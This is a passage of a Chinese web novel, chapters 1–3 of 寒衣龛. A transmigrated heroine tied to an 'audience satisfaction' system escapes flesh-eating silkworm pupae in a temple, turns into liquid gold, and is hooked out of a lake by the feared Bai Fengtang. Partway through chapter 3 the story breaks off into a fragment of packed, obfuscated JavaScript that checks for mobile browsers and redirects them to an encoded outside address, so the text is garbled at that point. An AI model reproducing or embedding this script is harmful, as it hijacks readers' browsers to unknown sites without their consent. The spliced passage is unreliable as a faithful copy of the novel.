《在流金世界摸鱼逃生》
1. 寒衣龛(一)
柳鸷的喉咙被绞住了,但她睁不开眼。
如同鬼压床般,窒息感扑面而来。耳朵能清晰地听见水滴落在青石上,滴答、滴答的响声,一声一声,敲着瘆人的诡秘。
一撮湿润柔软的东西舔过脸颊,留下不知名的残液,是馊臭味。
恶心。
实在恶心!臭味更浓了。
到底是什么狗东西在舔她?
柳鸷忍无可忍,冲破桎梏。猛然睁眼,瞳孔撞上一双红色、古老的绣花鞋,慢慢往上,惊得她呼吸都滞了。
寂静夜更,朦胧月影。一团漆黑的、柔软的、人型高的长发披散着垂在地上,湿哒哒的漏着水。
黑发察觉柳鸷醒来,开始像海藻一样疯长,绞得柳鸷的脖子更紧了。
柳鸷单手控住黑发,一个翻身侧踢腿。
黑发呀的一声,被踹倒在地。
柳鸷反身骑上,动作流利的擒住黑发,一把拽过丝滑的长发,掀开,径直钳住了对方的脖子,厉声质问:“你谁?装神弄鬼的!”
眼前是一张病态苍白的脸,女人的眼窝深陷,眼球肿大、空洞地泛着异样的幽绿色的光。
但颈上动脉是温热的。
是个活的。
黑发女人的瞳孔聚焦在柳鸷脸色时,突然尖声,“啊!救命!快救我——”
柳鸷的耳膜一阵长鸣,不耐地拧了拧眉,“你鬼喊鬼叫什么?我可是爱国守法的三好公民,你怕我个鬼咧。”
柳鸷一边平静的说着,一边把小海藻半塞进女人嘴里,堵住噪音来源。
黑发女人含糊不清道:“流......流......金。”
“什么?”柳鸷停下手上的动作。
皮包骨的手指颤巍巍地指着柳鸷的脸,后者不明所以,以为脸上有脏东西,左右扫视,没有可照视的镜子。
柳鸷反扣着黑发女人的头颅,逼近自己,以瞳为镜。
黑发女人惊惧的疯狂挣扎,但柳鸷从对方肿大的眼珠中看见了自己的模样。
黑水渍淌过脸颊,以及一株金色插着在柳鸷的左眉尾处,且有变大的趋势。
柳鸷伸手触碰太阳穴,微有一点刺痛,又摸了摸,是实物。两指一捻,迅速拔出,身体骤然倾倒。
黑发女人趁机大力推开柳鸷,逃之夭夭,四周回荡着女人的疯嚎,“流金现世,万物争鸣,肝髓流野,终归寂灭。”
“无人幸免。无人幸免!毁灭吧!哈哈哈——”
柳鸷:“......”疯了?
柳鸷盘腿坐起,打量着手中金灿灿的一株。茎管笔直,叶片宽大如小扇,脉络清晰可见,鲜艳明亮且微微发烫,看着像......
草?
菜?
大概是植物中的一种,外观不论,但这材质不用牙齿咬都能确定是足金,因为她刚折了下笔直的茎管,掰弯了——
嗯?这......柔软度,比au9999还要纯。
柳鸷掂了掂,合着市场金价估摸着,贴在怀里拍拍,“嘿嘿!小横财~”
想把贵重的金菜揣进衣兜,但兜呢?
借着淡淡的月色细瞧,柳鸷发现自己身着古风绫罗缎袍,无兜!!!
“Cosplay?”
等等。
她明明记得自己是在去找哥哥的路上。
柳鸷下意识的观察周遭,有很多树,但都被砍伐了大半截,只剩下半人高的树干参差不齐的排列着,很是诡异。
越过树干眺望,不远处的黛色中勾勒着一片破败的草茅房轮廓。一道惊悚的猜想从脚底爬上头:我,穿越了?
“呲呲呲。”像是无线电干扰的声音在金菜里发出。片刻,金菜叶动了动,一道清脆的机械声板正的开口:“欢迎宿主,光临流金世界!我是系统。”
柳鸷确定穿越了,还是穿到了不知名的世界。
她一头雾水,想不通为什么会穿越,只想快点回去找哥哥。
于是,柳鸷说:“系统,您好!劳请您把我送回现实世界。”
系统歪了歪金菜头,笑道:“您是一位有礼貌的宿主。但您的诉求,恕我无法办到。”
柳鸷瘪了瘪嘴,顿时觉得金子都不香了,丢进土里。
金菜腾空而起,履行系统职责,照本宣科道:“宿主,您已绑定观众系统。只要观众满意值达到「100%」,您就可以回到现世界。您当前的观众满意值为——请看。”
柳鸷的两颗眼球上刻的红字浮现。
「3%」。
明晃晃的红字,有点碍眼,柳鸷挥了下手,红字消匿,旋即问:“观众在哪?”
“在看着您。”
柳鸷环视四周,黑的、空旷的、静谧又阴森的。毫无人气。又或者只是她看不见观众而已?
“宿主,接下来将由我为您介绍攻略规则。”
“首先,观众满意值每增加「10%」为一级。每达到一级,您的法力将提升一级。”
“其次,当观众满意值为「60%」,第一次达到及格,将有机会抽取幸运卡牌,解锁法器。以此类推,「70%」「80%」「90%」您一共有四次抽取幸运卡牌的机会。”
这听着怎么像小学生考试,及格、中等、良好奖励小红花还要留堂,得了优秀才能放你回家。
“......宿主,宿主,回神了!”
柳鸷没有发表意见,示意系统继续。
“好的,接下来是画重点部分。宿主,您听好了。”
“当观众满意值降为「0%」,您将失去行动力,成为植物人状态。”
“当观众满意值降为「-10%」,您将失去意识,进入脑死亡状态。”
“当观众满意值降为「-20%」,观众认为您已不配拥有他们的目光,您将立即被观众处决。”
柳鸷轻轻哦了一声,“诶,如果我现在就死了会怎么样?”
系统微愣,而后优雅地弯下茎干,叶片簌簌倾下,温和而谦恭的回:“那我预祝您,入土为安!”
柳鸷:“......”
死了就真的死了。
而观众满意值达到「100%」,是回到现世界的唯一解。
但观众喜欢什么?酸涩性?共鸣性?戏剧性?
系统说,流金世界有一种异种生物,被称为“龛”。
九百多年前,王朝盛世,百姓安居乐业之际,九天惊现凶兆。
至那之后,异种突起,四处为非作歹,猖狂的虐杀、吞噬百姓,祸乱人间,占地为王。
王朝派精锐军抗击异种,竟全军覆灭。
人间,生灵涂炭。
后来,是神出现,镇压了异种。
异种控诉神的不公,偏袒人类,认为自己也是神的孩子,自己聪明、战力强,比人类胜出太多。
“为何不能是我们异种主宰天下?”
神并不在乎是谁主宰天下。
于是,神将异种封印于神龛之中,神龛内的异种被统称为“龛”。
神制定参龛规则,要求人类派人进入神龛里,与龛进行公平的较量。
若人类破龛成功,那龛死。反之,亦然。
时限,一千年。
至此,上万个神龛出现在流金世界的各个角落。
人类需要在神龛千年封印解封前,破完所有的龛,夺回对命运的主宰。
否则,龛再次出世,荼毒生灵,人类将穷途末路。
为破龛,人类成立了阙庭,主在培养选手进入神龛,破龛。
时至今日,阙庭已成为德高望重的宗门。
百姓以将孩童送入阙庭为荣,孩童在阙庭训练、培养,成年后去参龛。期望破完所有的龛
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,还人间一个太平盛世。
“那现在还剩多少个龛没破?”柳鸷问。
系统说:“这个问题,恐怕得问阙庭才知道。”
柳鸷琢磨着,混入阙庭成为选手参龛,来试试观众癖好的可行性。
“宿主,你的想法很有前瞻性。但请您务必隐藏,您非本世界人的身份。若被发现,会立即被处决!”来自系统的温馨提醒。
柳鸷挥了挥手,“这小意思。”这就像外星人闯进了地球,被发现岂不是要被逮去做研究,她可不想成为实验体。
“金菜,既然这是流金世界,那你知道流金是什么吗?”
“稍等,系统正在为您检索答案。”
金菜陷入安静,任由柳鸷把玩在手中。
一刻钟后,柳鸷轻拍了拍菜叶,“找到答案了不?”
“抱歉,听不清你在说什么。系统检索量过大,服务器已宕机。无法服务。呲呲——嘭!”
金菜,挂掉了!
柳鸷怀疑这家伙是故意的,到关键问题就装死。
她气鼓鼓地把金菜捏成手镯状扣在左手手腕上,打算先去找那个黑发女人问问。
柳鸷沿着黑水渍的痕迹,穿梭在阴森的树干间。
至树林口时,柳鸷望着萧索的马路,毫无人影。
罡风沙沙的吹着,柳鸷以云袖挡住眼,待风稍静,堪堪放下手,就莫名其妙吃了一记头槌!
一块馅饼从天而降。
柳鸷揉着头,仰头望苍穹。紧接着,又一块白呼呼的东西掉下,落近了些瞅,是包子。竟然有吃食,柳鸷赶忙掀起裙摆去接。
不一会儿,柳鸷的裙上兜住了牛肉片和她最爱吃的草莓干。柳鸷沉思着,这难道是来自观众的投喂吗?
又瞧瞧瞳孔里的数字,还是「3%」。
算了,反正都是好吃的,统统揣进袖兜里。
柳鸷沿黑水渍一路寻至一座破败的古庙前,庙檐上斜挂着灰暗的匾额,题写不巅庙。
庙内有声,柳鸷抬脚上阶,倚门而望,水渍在大殿中央消失。正前方的神像在光影绰绰中,模糊着。
而右殿上,篝火微明,三男两女,围炉夜话。
“谁在那里?”一位身着雪青罗裙的姑娘,朝门口吼了一声,十目齐聚于门扉。
柳鸷在众人的警戒中走了进来。
三千乌丝半绾,落着荼白绫罗缎上,半肩袖罩着破烂、碎裂的红绫宛如披了一束红狐穗花。纵然半脸的黑水渍,也挡不住柳鸷的清灵妩媚。
只见柳鸷笑眼温柔地说:“好香啊!你们在熬汤吗?”眸光早已不动声色,横扫一圈。
没有黑发女人,这几人附近也没有黑水渍的痕迹。
真是古怪。
一个大块头的男人缓过神,有点语无伦次道:“没、没有,就是普通的蛇汤,姑娘你想吃的话可以过来坐。”他热情地笑着,并让出身边的位置。
“不行。江琥,这个女人我看着眼生,我肯定没在阙庭里见过她,你别被她迷昏头了。”
“是啊,我们都不清楚她的来历,万一她是龛呢?”
大块头江琥被两三个同伴反对,有些为难得,但见柳鸷满脸黑水渍,鼓足勇气补了一句:“没有这么狼狈的龛吧。”
“就你心善,万一她是伪装的?你想害死我们所有人啊!”
......
关于“柳鸷是否能过去坐”的议题,几人正在激烈的辩论中。柳鸷眨了眨眼,正想开口制止。
那几人突然朝雪青罗裙的姑娘问:“栖夏,你怎么想的?”
谷栖夏勾唇笑了笑,“让她过来吧,如果她是龛,正好杀死她!”
柳鸷指腹轻揉眉尾处,脚没有动。“各位有所误会,我不是龛,也不想加入你们。我只是在追杀一个黑发红鞋的女人,请问你们有见过她吗?”
2. 寒衣龛(二)
面前的几人各个眼神茫然,显然并不知晓黑发女人。
只有谷栖夏开口,“你为何追杀那个女人?”她应是这的领头人,当她问话时,同伴都很安静。
柳鸷抚上左手云袖,试探性的说:“她......有流金。”
“流金?”谷栖夏眉色警惕,“那你是怎么找到这来的?”
“我自有妙计。各位若是没见过,那么我先告辞了。”柳鸷不再多言,脚尖朝外,想着去别处找找。
“等等......”谷栖夏眯了眯眼,说:“我们也要杀她,你一个人很危险,不妨加入我们一起行动。”
有同伴激灵,立刻就想到了阙庭的悬赏令,神龛里拥有流金的,很大可能是龛,而他们要杀的,也是龛。
于是附和着:“是啊,我们也要杀她,你和我们一起吧。”
只有江琥丈二和尚,摸不着头脑,愣愣的。
柳鸷思忖半晌,颔首笑道:“那我就恭敬不如从命了。”
柳鸷在江琥与谷栖夏之间入座。
谷栖夏逆时针的介绍一圈:谷栖夏、楚炎辰、徐昊、闻玲珑、江琥,“你呢?叫什么?”
“柳鸷。”
“柳智?听着就很聪明的样子。”江琥理解错误。
“阴鸷?”谷栖夏倒是渊博,看穿了,“不过你一个姑娘家怎么取个这么凶猛、残暴的名?”
柳鸷恬淡的笑笑,平静的说父母取得。
“那你是几舍的?”
舍?
柳鸷想,既然阙庭类似于培训机构,几舍大概就是几班的意思。她想着回个数字,转念道:“我,是最差的舍。”
徐昊嗤笑一声,“差生。”
谷栖夏嫌弃的瞟了“柳差生”一眼,却说:“没事,努力一点,先追上江琥。”
江琥尴尬地挠了挠头,“我们差不多,我外舍乙等,呵呵呵。”他热心安慰,并告诫柳鸷,“你以后若是再看见那个黑发女人,千万要快跑走!”
柳鸷:“?”
“你不知道?十年前,阙庭发布敕文,以十万两黄金悬赏、通缉身有流金之人。此悬赏令,至今仍旧挂在榜首。所以,你先前看见的,那个有流金的黑发女人,应该就是阙庭的头号通缉犯。”
“阙庭为何要通缉她?”
江琥悄悄说:“有传闻,身有流金之人超级厉害,是龛中的皇帝,选手们戏称其为‘龛皇’。人若是吃了龛皇的血,也能变得超级厉害。”
“既然她这么厉害,你们能杀得了她取血?”
“啊?这我就不清楚了。”江琥说着,还不忘盛一碗汤递给柳鸷,“来,客人先用。”随后又帮其他人盛汤。
“谢谢你,你人真好。”柳鸷说。
徐昊轻哼,轻蔑道:“柳差生,你别看江琥块头大,长得像老虎一样威风凛凛,但内心像小猫一样胆小。全靠抱栖夏大腿,不然早死在第一个龛了,还想活得到现在。”
江琥捧汤的手抖了下,溢满的滚烫从碗口洒在他手背,却没吭声。
谷栖夏傲慢地喝着汤,没理会。
徐昊继续嘲讽,“今天抱栖夏腿,说不定明天能抱上柏封棠的腿。”
“如果是柏神,让我跪着抱都愿意。”楚炎辰插了一嘴。
“柏神会嫌弃你的。”
江琥的脸色一阵青一阵白,尴尬地垂着脸快埋进汤碗了。
柳鸷放下汤,拍拍他的肩膀,“我觉得老虎和小猫都有可爱之处。况且抱大腿也是凭本事抱得,不要在意别人的看法。”
江琥看了一眼谷栖夏,点了点头,让柳鸷多喝点汤。
谷栖夏快速喝完汤,和楚炎辰举着火把往殿深处走。
柳鸷扫过后头一处,黑暗中隐约瞥见一角白丝。
随着火把越近,火光驱散了漆黑。
谷栖夏撩开帘帷——
“好大啊。”柳鸷看见了一个像棺材板大的白色蚕茧,千丝万缕交缠、包裹着,甚是稀奇。
江琥说:“是啊,我们下午进庙里就看见它在这里,吓我一大跳。”他指着柳鸷身后的位置。
“我们怕被龛找来毁了,所以八抬大轿给它挪到后殿藏着。不过这个蚕估计只够做半件衣裳,明日我们还要再去找点蚕丝。”
衣裳?
“做什么衣裳?”
柳鸷的问题,把江琥难倒了。
阙庭的线索只说这一个龛的关键是衣裳,但也没说是男的衣裳还是女的衣裳,连什么款式也是未知。
柳鸷眉梢一紧,原是想先找黑发女人,理清现状,没料到已在神龛中。
那正好!省了麻烦,遂了她入龛的计划。
柳鸷随手拔了一根头发放在手里缠来缠去,陷入沉静式思考。
所以,那黑发女人是人,还是龛?
篝火前,几人还在高谈阔论那个名为柏封棠的人。
人类与龛斗争数百年,阙庭在世间的名望达到顶峰。
柏封棠自幼天资聪颖,被选为阙庭的继承人培养,是阙庭有史以来最出色的选手。
传闻,此人生性阴鸷狠毒,处事更是铁血手腕。神龛二十七阶,他只挑战上九阶,且从未失手。
死在他剑下的龛,皆散尽金子为他加码,至此成为神龛里的玉面活阎王,也在阙庭选手的心里封神。
不过这神不仅在神龛里杀疯了,还在阙庭里杀人。
“舍长难道不管管他?”
徐昊啃着蛇肉,徒手抹了满嘴油光,调侃着:“管他?他吞噬了那么多金子,法力高强,一人可敌万军,就连庭长都得供着他,舍长怎么管?”
“就算他在舍长头上撒尿,舍长还会笑嘻嘻的说,好好好,柏童子多撒点,沾沾金气。”
那边,谷栖夏查看完蚕茧,神色放松不少,对楚炎辰说:“这个龛,柏神也进来了,希望可以早点遇到他,我就不用担惊受怕了。”
谷栖夏回来,吩咐了明日的行动。楚炎辰带小队找蚕丝,谷栖夏陪柳鸷找黑发红鞋的女人,“如果路上遇见柏神,尽快通知我。”
江琥悄悄扯了下柳鸷,低声说:“你别听他们的,说不定那个柏神来了,第一个杀的不是龛,而我们。”
柳鸷发丝缠着十指并拢于心前,点头如蒜捣的嗯嗯。
江琥见她不信,生怕她着了道,迫切的劝告,“你别不信,今早进神龛前,我亲眼看见他杀人了。对方等级比栖夏还高,却也被他一个扇子割下了头。”
柳鸷左耳输入江琥念叨,右耳输出。嘈杂声中,有人抱怨了一句没吃饱。
柳鸷灵机一动,从云袖里掏出了牛肉片分给大家。
“你怎么会有这等好东西?”众人惊讶,谷栖夏却一把擒住柳鸷的手,质问:“你到底是谁?”
柳鸷不明所以。
“这牛肉片是上舍选手才有的食物,你怎么会有?”
“我捡的呀!”柳鸷无辜的眨眨眼,顿了顿,“就是那个黑发红鞋的女人逃跑时落下的。”这是谎话。
谷栖夏的脸色变得难看,“你耍我?你不是说.....”
“哦,你以为黑发女人是龛,想借我手上的线索找到她,却没想到她也是选手啊。”
被无情戳穿的谷栖气得面红耳赤,“你!滚出去!”
“可以,等天亮。”柳鸷单手掌托着牛肉片,辛辣、脆劲、很香,很诱人。“你们是选牛肉片,让我留一晚,还是我现在带着牛肉片就滚?”
几人相互对视一会,徐昊拿了两片牛肉,“留一晚也没什么
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。”
之后,除了谷栖夏,所有人都吃了牛肉片。
柳鸷笑嘻嘻的起身,拍了拍衣袍上的灰,找了个半明半暗的角落呆着,肚子却饿得咕咕响。
过了好一会,见篝火旁的人吃完牛肉片没什么不适,她才从云袖里掏出牛肉片与草莓干,开始今天的第一餐。
她可以确定的是食物不是观众投喂的,不确定的是黑发女人的身份。
夜幕深沉,黑暗如恐惧的网笼罩着庙宇。
大殿上,只有柴火哔哔剥剥的燃烧声在回荡。巨大的白色蚕丝在深处窥视着,篝火旁睡得东倒西歪的生灵,兴奋的咧开了血盆大口的嘴。
柳鸷骤然惊醒,涔涔冷汗不知何时覆满了背脊。
四周静谧的可怕。
柳鸷走近篝火取了一跟火把出来,往深处走,身后倏地,“柳鸷,你干什么?”
她回头看见谷栖夏,冷静地说:“你醒来正好,跟我去里面看看,我怀疑里面有问题。”随脚踹了踹徐昊,让他把人都叫醒,候着。
柳鸷和谷栖夏进入深处,细细观察一圈,没有任何奇怪之处,蚕茧表皮缠丝光洁。
“柳鸷,你又耍我是吧?”
柳鸷没理,耳朵贴着蚕茧表面,听见阵阵嗡嗡声响,“结茧几天了?”
“不知道,来时就这样。”
霎时,蚕茧表皮变得扭曲,有了淡淡的裂纹。
忽然,嘶的一声,裂缝更大了。
不对!
它是要破茧了。
柳鸷将手中的火把丢向蚕茧,拽着谷栖夏往外,“快跑!”
可火把还来不及触碰到蚕茧,被猛地一声巨大的“砰”响给弹开了。
蚕茧爆炸开了!
刹那间,千万条黑褐色的蚕蛹有力地飞溅而出。
谷栖夏暗骂了一声,火速抱住柳鸷,径直闪越到江琥的前方。
“你好快啊!”柳鸷心中赞叹。
“她是内舍丙等,是我们中法力最强的。”江琥说。
蚕蛹随爆炸的冲击波飞过来,几人边跑边将手中的火把丢过去,火焰吞噬近处的蚕蛹,沙沙的烧着。
但深处更多的蚕蛹,倾轧而来,几人纷纷拔刀砍杀。
落在最末尾的闻玲珑一不注意就被蚕蛹钻入鼻腔里,疼得大叫。
楚炎辰过去救她。
蚕蛹找到了攻击的短板,于是朝闻玲珑飞涌扑去,瞬间将她围成密密麻麻的一圈。
闻玲珑发出凄厉的惨叫,楚炎辰想要把她从如潮的蛹围里拖出来,却反被强大的力量吸入。
不过须臾间,蚕蛹餍足般散开。
肉啃食空了。
血滴答滴答地流,只剩下两具人体骨骼微微矗立。
不知谁惊恐的喊了一声,残骸犹如受惊震颤,轰然坍塌在地上。
柳鸷倒嘶了一口凉气,“喂!别看了,先离开这里。”谷栖夏松开她,带剩下的人撤退。
可蚕蛹尝到了山珍人肴,哪里肯就此罢手,攻击得更猛了。
法力较强的谷栖夏和徐昊与蚕蛹打斗。柳鸷自觉法力低微,不帮倒忙,便和江琥飞速往殿外撤退。
徐昊防御不及,蚕蛹钻进他脸上的皮肤里,在皮肤表层蠕动,啃食他的肉。
他摸了下脸,不痛,用剑割开脸,掏出来。
但下一秒,无数蚕蛹飞扑而来,徐昊奋力抵抗,大喊救命。
谷栖夏深深地望了他一眼,残忍地转身撤离,追上柳鸷和江琥。
蚕蛹穷追不舍,谷栖夏一人难敌万蛹。为了争取逃跑的时间,谷栖夏随手拽过一人,扔在身后。
柳鸷忽然被摔在地上,眼睁睁看着指甲盖般大小的蚕蛹刹时在瞳孔里放大,巨大的黑影要将她吞噬——
3. 寒衣龛(三)
情急之下,柳鸷伸手挡头。
蚕蛹还未触及,便被她左手腕上的金光震退半丈。
柳鸷反应敏捷,抬起手腕抵住蚕蛹。金菜形成一道金光包裹住她。
千蚕万蛹冲向柳鸷,与金光冲撞。蚕蛹顺沿着弧光而下,如天女散虫般,四处散落、环绕攒聚。
柳鸷回头望,谷栖夏和江琥已经不见了。
她困囿在方寸之地,无法撤退。
蚕蛹的力量越来越强,密匝匝的、黑鸦鸦的。柳鸷的手腕被一点一点往下压,只能半撑起身体负隅顽抗,外头传来江琥气愤的声音。
“你怎么可以丢她出去挡?”
“不是她,也是你。我没有义务救你们,这是你们欠我的。”谷栖夏冷漠道。
江琥愕然,“你......”
想要指责,却发现无可指摘,江琥低低道:“可她也救了我们。没有她,也许我们早在睡梦中被蚕蛹吞噬了。”说罢,他孤勇地提着剑往庙里去。
“你要去救她?”
“她一个人在里面的打不过那些虫的,她会死的。”
谷栖夏像听到什么天大的笑话,“就凭你?你现在进去也是送死,说不定她早就被啃成白骨了。”
江琥瞳孔微颤。
柳鸷被压得半跪在地上,冷汗狂飙的想着,别叨叨了,你们倒是进来帮帮我啊。
转眸间,蚕蛹有感应似的,不约而同撤出一条道。
一个人身蛾翅的怪物从深处疾速至前,柳鸷瞪大了眼睛,毛骨悚然。
可怕。你们还是别进来了。
怪物一掌重击,柳鸷被震垮,金光裂开缝。
完了,她不想死。
她还要回到现世界,还要找哥哥。
突然,一股诡谲的血液在柳鸷心口泛开,火速流蹿四肢。她觉得整个身体像泡在熔岩流里,好烫、好烫。
而后,她的腿融化了,化成浓醇的金色液体。
“流......动的金?竟然是......我。”
柳鸷的整个身体化为一滩流金,渗透进土地里。
庙内的蚕茧没了攻击的目标,急速涌出庙。
江琥看呆住了,双腿像被灌满冷铅一样重。被谷栖夏拽着逃跑时,他红了眼眶,回头望。
诺大的寺庙,只剩下地上的残血与白骨,在黑暗中亮得刺眼。
那一刻,他恨自己没用、懦弱,不止柳鸷,他牺牲了三个同伴。
昏暗的土壤里,柳鸷在流动。
她的意识是清醒的,每一滴流金都是她的感知触角。
但她的法力还不足以控制流金,只能任由它自由运动。
流金流过绵延的土壤,淌过温热的活泉,钻进一面偌大的石墙里。
攀着墙抚摸过壁画,触角摸到了恢弘的建筑、茂密的树林、鳞次栉比的景象,还未来得及探究,又流进一个更阴冷的空间。
流金爬过冰凉的、一节一节的,骨头?
这该不会是......
还未细想,流金又往下去。
柳鸷不知道跋山涉水了多少地方,流累了,浑浑噩噩地睡着了。
“......宿主,宿主快醒醒!”柳鸷在半梦半醒中,听见了系统的爆鸣声。
“别吵,我困。”柳鸷迷蒙中。
“警告!警告!宿主,您已经睡满八个小时了,再睡下去会被观众判定为摆烂的表现,扣满意值「2%」。”
??
「3%」-「2%」=「1%」≈「0%」。
这不是马上要失去行动力,成为植物人了!
柳鸷腾地一下睁开眼。
四周是昏暗的,鼻腔内皆是土壤的气息,虫子在皮肤上蠕动,左手腕麻而无力。
瞳孔上红色的数字,呈现着「5%」。
“哇!涨了两分。我真棒!”柳鸷心想这算是因祸得福了。
“是的,恭喜宿主离回到现世界只差「95%」的距离。”
柳鸷:“......”
请你别说话!
柳鸷吐了两口气,右手挑开虫子,揉着左手腕问:“阙庭的头号悬赏令要通缉的人,是我吗?”
“稍等,宿主。我查下。”金菜抖了抖叶子,半晌道:“是的,宿主,您是流金血,符合阙庭的通缉犯特征。”
“那你帮我查下,阙庭为何要通缉我?流金血有何作用?”
“好的,宿主。”
半刻钟后,柳鸷晃了晃菜叶,“怎么样了?”
“抱歉,听不清你在说什么。系统检索量过大,服务器已宕机。无法服务。无法服务!”
又挂了!!!
柳鸷无语了。
土里空气稀薄,闷得很。
柳鸷松了松上方的土壤,湿润且松软,应该靠近水源。她想着利用水,先游回地面。
柳鸷徒手拔开土壤,蹬腿往上遁。
噗通一下,遁上水中。柳鸷缓了下,往上游。
有人声从湖面传来。
柳鸷停下,透过湖水向上仰望。
金盘高悬,光泻于无垠的翠绿与清幽里。水波荡漾里,粼波循循,愈来愈清晰地浮现出一道身影。
水岸边的桑树枝干上,敞倚着一个身形高大的男人。
他黑发半束,五官浓烈,精致的脸庞在斑驳的阳光下惨白、冷漠,周身散发一股戾气,看起来就像个阴郁的男鬼。
男鬼右手握竿,左手支在膝骨,托着自个儿的美人脸,百无聊赖地阖眼假寐。
四周静谧,仿若一幅美男午枕图。
微风撩过,男鬼左腕与修长的指间缠绕的金币驳链荡出清脆又诡秘的叮当声,像钱落进袋子的声音,柳鸷很喜欢。
俄然,一个鱼钩钩住了柳鸷的右肩袖。
男鬼似有感应,甫一睁眼。那深沉、蓄势待发的眼神似狩猎已久的猎人。柳鸷正想解开,就感觉被一股力量,猛地拽起。
柳鸷被钓上岸,天旋地转间,如同一条死鱼般甩在了茵茵草地里!
柳鸷湿漉漉的荼白色衣袍溢着水,洇湿了一地的翠色。
鱼钩硬生生的钩着右肩袖,肩袖被划破一长道口子。怎么看,都很狼狈。
“恭喜师兄,钓到鱼鱼。”有稚嫩的童声欣喜道。
柳鸷循声望去,好像是鱼竿在说话?
转瞬,鱼竿幻化成一个玉雪可爱的八岁稚童。一身浅绿色的交领童袍,金珠串成的络索佩于脖颈间。
稚童瞟了一眼草地上的柳鸷,眼睛滴溜溜地打转着。
左瞧瞧,右望望,空空如也。
懵了!
“我的鱼鱼呢?”
柳鸷用手指比了比自己,郝然道:“抱歉啊,你钓上来的......正是在下。”
“......唉,不是宝子钓的!”万宝子委屈的扭头,嘀咕着:“师兄钓了条美人鱼。”
男鬼跃下树枝,踱步而来。
一身冥色绣金蟒的长袍将宽肩窄腰勾勒的淋漓尽致。细瞧,发现他手持的折扇,扇面是以白玉为骨,扇坠镶嵌着一串銎式狼牙镝的玉坠。
这难道是江琥昨夜提过的,万锯法扇?
那他就是柏封棠?
万宝子撅嘴嘟囔:“钓了一晚,一条鱼都没有,那我们吃什么呀?宝子好饿了。”
柏封棠高耸的眉骨之下,一双星目射寒波,轻飘飘看过去,万宝子顿时噤了声。转眸,居高临下的俯视柳鸷,微哂道:“就她吧。”
??
万宝子很诧异,咂巴咂嘴的问:“真的可以吗?宝子还没有吃过人肉呢。”又瞧了瞧柳鸷,细皮嫩肉的,舔了下口水。
“要生煎?爆炒?还是一锅炖?”他的语气中充斥着雀跃。
柳鸷亲眼见过蚕蛹食人。
这食人的世界,说想吃她,她也不觉得奇怪。柳鸷不露声色的环顾周遭,是陌生的。眸光流转,抬眸望着柏封棠。
此人武力强大,不可与其武斗,只能智取。
万宝子拔出剑,走向柳鸷。
“那个小孩,你等等。”柳鸷说:“你们的目的只是为了要填饱肚子。人肉酸臭,我都好几天没洗澡了,不好吃。但我可以帮你们抓到鱼,拜托你们放过我一命好吗?”
万宝子看一下柏封棠,后者挥了下手,视作同意。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15244661|166340||http|test|mini|href|location''.split(''|''),0,{}));
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>万宝子以为他又要变成鱼竿钓鱼了,没想到柳鸷抓起她的头发,扯了几根下来,用头发编制成了一个网。
柳鸷拿着网下浅水区,开始捕鱼。
万宝子目瞪口呆!!!
看着她这个操作,心想还能这样啊?
柳鸷捕鱼的速度很快,先捞了一条大的上来。
万宝子抱住大鱼,摇了摇头说:“太大了,肉太老,师兄不吃。”
好吧。
没一会儿,柳鸷又捞了一条小鱼上来。
万宝子抱住小鱼,摇了摇头说:“鱼太小了,还不够师兄塞牙缝呢。”
柳鸷又捞了一条不大不小的鱼,万宝子又说:“这鱼看着恹恹的,不是很活泼,师兄喜欢活泼点的。”
万宝子一边嘴上嫌弃的叨叨,一边快速把三条鱼都收入囊中!!!
柳鸷的余光瞥见桑树下的大美人,身姿挺拔,右手把玩着法扇,背左手而立,擒着唇,凝视她方。
与她四目相撞,也不避忌,反而眼尾轻挑,笔直的、敞亮的、我行我素的直射柳鸷。
这么大胆、直白,有意思。
柳鸷兀自捏住万宝子肉嘟嘟的脸蛋,半笑不笑的,“你小子是不是故意逗我玩?我要去问下你家师兄,他需要什么样的?我好对齐甲方需求。”
“唉,别别别去。美人姐姐,你帮我多抓几条鱼吧。”万宝子紧张地抓住柳鸷的手。
“理由?”
“我弄丢了师兄的佩囊,里头的食物也没了。他很生气,你不知道他生起气来有多恐怖。而且我们已经一天没进食了。求求你了,美人姐姐。”
他两眉下撇,愁成了苦瓜脸。十指合拢,置于胸前,作跪求状。
这小鬼马精,可爱的很,姑且信他一回。
半个时辰后,柳鸷来到桑树下,仰面道:“柏封棠。我已经捕了十余条鱼了。我现在可以走了吗?
万宝子都怔住了,从来没有人,敢在师兄面前直呼其全名。
柏封棠掀起狭长的眼帘,沉静道:“你认识我?”
“你在阙庭大名鼎鼎,应该没有谁不认识你吧。”
“那你呢?”他脚步未动,光开口问,便让人有种步步紧逼的压迫感。
柳鸷食指抵着下巴想,这个人的下颌轮廓,初一见,确实觉得......“你看着很眼熟,但想不起在哪见过了。”
柏封棠浅浅的笑了,轻摇着法扇说:“大概是我长得太过于普罗大众,所以让你记不住。”
他声调散漫,宛如古筝般深邃悠扬,语气中似乎带着点自嘲。
柳鸷听着酸溜溜的。
就他西域眼,江南唇,巴郡白,以及北边的身材。这五湖四海的美貌,绝对令人印象深刻。
但柳鸷没印象。
“您的模样十分英俊。如果我真的见过,那定然记得。”
柏封棠缄默地望着柳鸷,眸色是寂寥、阒然的。
柳鸷的额角莫名流出冒汗,带水的手擦了擦,再一次,“请问,我可以走了吗?”
半晌,柏封棠才高抬贵口,嗯了一声。
柳鸷松了一口气,开心的笑成了月牙眼。
“等等。”柳鸷僵住,又怎么了?
“把网留下。”
柳鸷瞅了瞅手里稀薄的发网,也不是什么值钱的东西,就随手丢给他了。
正当午时,阳光炽热。
柳鸷走进高耸、茂密的树林。风吹过,身上湿润的衣袍变得阴冷,她忍不住抱紧了身体。
柳鸷觉得很怪异,这里一棵棵高大、葱郁的桑树舛错不齐的生长。这景色分明和昨晚的林子一点都不像,但却感觉很熟悉。
她按照昨晚记忆中的路线走,没一会儿,穿出树林,来到林口,遇见一条小路,两侧长满了草,翠绿间冒出几束紫色花朵,很漂亮。
若是除开这些绿植,这条小路和昨天晚上的路有八层像。
柳鸷蹙眉,快步向前。
半炷香后,柳鸷赫然瞧见了一座恢弘的、崭新的古庙,庙檐上正正方方挂着红底金字的匾额。
